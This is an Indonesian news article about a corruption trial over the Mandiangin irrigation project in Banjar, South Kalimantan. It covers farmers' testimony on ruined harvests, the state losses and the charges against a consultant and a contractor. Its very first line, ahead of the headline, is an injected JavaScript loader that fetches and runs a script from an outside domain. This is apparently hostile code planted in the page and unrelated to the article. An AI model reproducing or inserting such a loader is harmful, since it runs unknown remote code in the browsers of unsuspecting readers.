(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Proyek Jaringan Irigasi Mandiangin Membawa Petaka Petani, Kerugian Negara Rp 753 Juta


KANALKALIMANTAN.COM, BANJARMASIN – Enam orang saksi dihadirkan pada sidang korupsi jaringan irigasi Mandiangin, Kecamatan Karang Intan, Kabupaten Banjar yang menyeret dua terdakwa selaku konsultan pengawas dan kontraktor proyek.

Kedua terdakwa yaitu Mirza Azwari selaku konsultan perencana sekaligus konsultan pengawas dan terdakwa Muhammad Yusuf selaku kontraktor penyedia bahan material pada kegiatan proyek rehabilitasi irigasi di Mandiangin.

Empat dari enam saksi yang dihadirkan Jaksa Penuntut Umum (JPU) adalah warga Mandiangin yaitu Ahmad Sairi selaku Kades Mandiangin Timur, Sainudin petani, Suriadi petani, dan Joni salah satu pekerja proyek irigasi.

Sedang dua saksi diantaranya merupakan pegawai Dinas PUPR Kabupaten Banjar yaitu Risca Ari Purnama Esti selaku administrasi proyek dan Iwan Junaidi yang terlibat dalam penghitungan kekurangan proyek.

 

Baca juga: Wabup Banjar Hadiri Rapat Paripurna di DPRD Banjar

Selain anggaran proyek yang dikorupsi oleh kontraktor, proyek jaringan irigasi Mandiangin tersebut juga membuat rugi para petani.

Diceritakan saksi Sainudin pasca pengerjaan proyek tersebut terjadi penurunan hasil panen padi secara drastis pada sawah yang digarap di sekitar proyek.

“Sebelumnya bisa sampai 70 belek (kaleng yang biasa dijadikan sebutan petani lokal untuk ukuran isi hasil panen padi yang sudah jadi gabah), setelah proyek itu ada cuma dapat 7 belek,” ucapnya di persidangan yang diketuai Jamser Simanjuntak.

Pria paruh baya ini juga dalam beberapa tahun terakhir sudah tidak lagi menggarap sawahnya karena malah sering mengalami kekeringan akibat sungai yang diperdalam dan tidak mengalir lagi ke sawah warga.

Bahkan ia menceritakan sewaktu proyek berjalan harus mengeluarkan uang ratusan ribu untuk membersihkan material proyek berupa bambu-bambu yang menumpuk di areal persawahannya.

“Terus saya minta bersihkan ke operator ekskavator, tapi disuruh bayar buat beli bensin, saya beri ke operator sekitar 500-600 ribu,” ucapnya.

Senada, saksi Suriadi mengatakan sawahnya yang biasa menghasilkan panen padi sekitar 70-75 belek per tahun kini tidak bisa digarap kembali karena kekeringan air.

Baca juga: Tim Provos Propam Polda Kalsel Tertibkan Personel Polres Banjar, Kerapian hingga Tes Urine

“Sekarang sebiji saja tidak. Sangat merugikan masyarakat atas pekerjaan itu, tidak bisa digarap lagi sekarang sawahnya,” terang saksi.

Sementara itu, Kades Mandiangin yang dihadirkan mengatakan intensitas banjir di desanya memang cepat surut semenjak jaringan irigasi tersebut dikerjakan.

Namun, karena sungai yang dikeruk sangat dalam sehingga dikatakannya air sungai tidak dapat masuk ke sawah warga.

“Karena dalam, sehingga tidak bisa ditabat dan tidak bisa mengairi sawah warga,” katanya.

Pada dakwaan Jaksa Penuntut Umum (JPU) sebelumnya, hasil audit BPKP perbuatan kedua terdakwa merugikan keuangan negara sebesar Rp 753 juta atas proyek rehabilitasi jaringan irigasi Mandiangin yang bernilai Rp 828 juta dari APBD Kabupaten Banjar tahun 2021.

“Terdakwa Mirza Azwari dalam hal ini telah memperkaya diri sendiri sehingga negara mengalami kerugian sebesar Rp 15.661.714 dan Muhammad Yusuf merugikan negara sebesar Rp 737.703.019,” kata Setyo Wahyu, JPU Kejari Banjar pada sidang sebelumnya.

Kedua terdakwa oleh JPU Kejari Banjar didakwa dengan Pasal 2 Ayat (1) Jo Pasal 18 Undang-undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidan Korupsi sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang perubahan atas Undang-undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi Jo Pasal 55 Ayat (1) Ke-1 KUHP.

Sedangkan dakwaan subsider dikenakan Pasal 3 Jo Pasal 18 Undang-undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidan Korupsi sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang perubahan atas Undang-undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi Jo Pasal 55 Ayat (1) KUHP. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Al Ghifari

Recent Posts

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

7 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

8 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

8 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

8 jam ago

81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More

8 jam ago

Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More

8 jam ago

This website uses cookies.